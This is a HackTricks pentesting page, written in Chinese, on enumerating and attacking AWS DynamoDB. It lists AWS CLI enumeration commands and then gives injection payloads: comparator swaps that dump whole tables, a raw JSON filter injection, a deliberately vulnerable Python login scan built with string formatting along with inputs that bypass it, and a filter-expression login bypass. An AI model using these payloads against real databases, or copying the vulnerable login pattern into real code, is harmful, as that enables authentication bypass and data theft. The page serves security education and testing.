AWS - DynamoDB Enum

支持 HackTricks

DynamoDB

基本信息

Amazon DynamoDB 被 AWS 提供为一个 完全托管的无服务器键值 NoSQL 数据库,旨在为各种规模的高性能应用提供支持。该服务确保了强大的功能,包括固有的安全措施、不间断的备份、跨多个区域的自动复制、集成的内存缓存和便捷的数据导出工具。

在 DynamoDB 的上下文中,不是建立传统数据库,而是 创建表。每个表都要求指定一个 分区键,作为 表主键 的一个组成部分。这个分区键,实质上是一个 哈希值,在项目的检索和数据在不同主机之间的分配中起着关键作用。这种分配对于维护数据库的可扩展性和可用性至关重要。此外,还有一个选项可以加入 排序键 以进一步细化数据组织。

加密

默认情况下,DynamoDB 使用一个 **属于 Amazon DynamoDB 的 KMS 密钥,**甚至不是至少属于您账户的 AWS 管理密钥。

备份与导出到 S3

可以 安排 生成 表备份 或按 需创建。此外,还可以为表启用 时间点恢复 (PITR)。时间点恢复为您的 DynamoDB 数据提供连续的 备份,持续 35 天,以帮助您防止意外的写入或删除操作。

还可以将 表的数据导出到 S3,但该表需要启用 PITR

GUI

有一个本地 Dynamo 服务的 GUI,如 DynamoDB Localdynalitelocalstack 等,这些可能会很有用:https://github.com/aaronshaf/dynamodb-admin

枚举

# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field

#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename

# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>

# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>

# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>

# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints

未经身份验证的访问

AWS - DynamoDB Unauthenticated Access

权限提升

AWS - DynamoDB Privesc

利用后

AWS - DynamoDB Post Exploitation

持久性

AWS - DynamoDB Persistence

DynamoDB 注入

SQL 注入

有方法可以使用 SQL 语法 访问 DynamoDB 数据,因此,典型的 SQL 注入也是可能的

NoSQL 注入

在 DynamoDB 中,可以使用不同的 条件 来检索数据,就像在常见的 NoSQL 注入中,如果可以 链接更多条件以检索 数据,您可能会获得隐藏的数据(或转储整个表)。 您可以在这里找到 DynamoDB 支持的条件:https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html

请注意,如果通过 queryscan 访问数据,支持 不同的条件

实际上,Query 操作需要在 键中指定 条件 "EQ"(等于) 才能工作,这使其 更不容易受到 NoSQL 注入(并且也使操作非常有限)。

如果您可以 更改执行的比较 或添加新的比较,您可能会检索到更多数据。

# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space

原始 Json 注入

此漏洞基于现已弃用的 dynamodb 扫描过滤器!

DynamoDB 接受 Json 对象以 搜索 数据。如果你发现可以在发送的 json 对象中进行写入,你可以使数据库转储所有内容。

例如,在请求中注入如下内容:

'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'

攻击者可以注入类似于:

1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0

修复“EQ”条件,搜索 ID 1000,然后查找所有 Id 字符串大于 0 的数据,即所有数据。

另一个 使用登录的脆弱示例 可以是:

scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])

dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))

这将容易受到以下攻击:

username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none

:property Injection

一些 SDK 允许使用一个字符串来指示要执行的过滤,如:

new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)

您需要知道,在DynamoDB中搜索以替换属性过滤表达式时,令牌应以**:字符开头**。这样的令牌将在运行时替换为实际的属性值

因此,像之前的登录可以通过以下方式绕过:

:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
支持 HackTricks

Last updated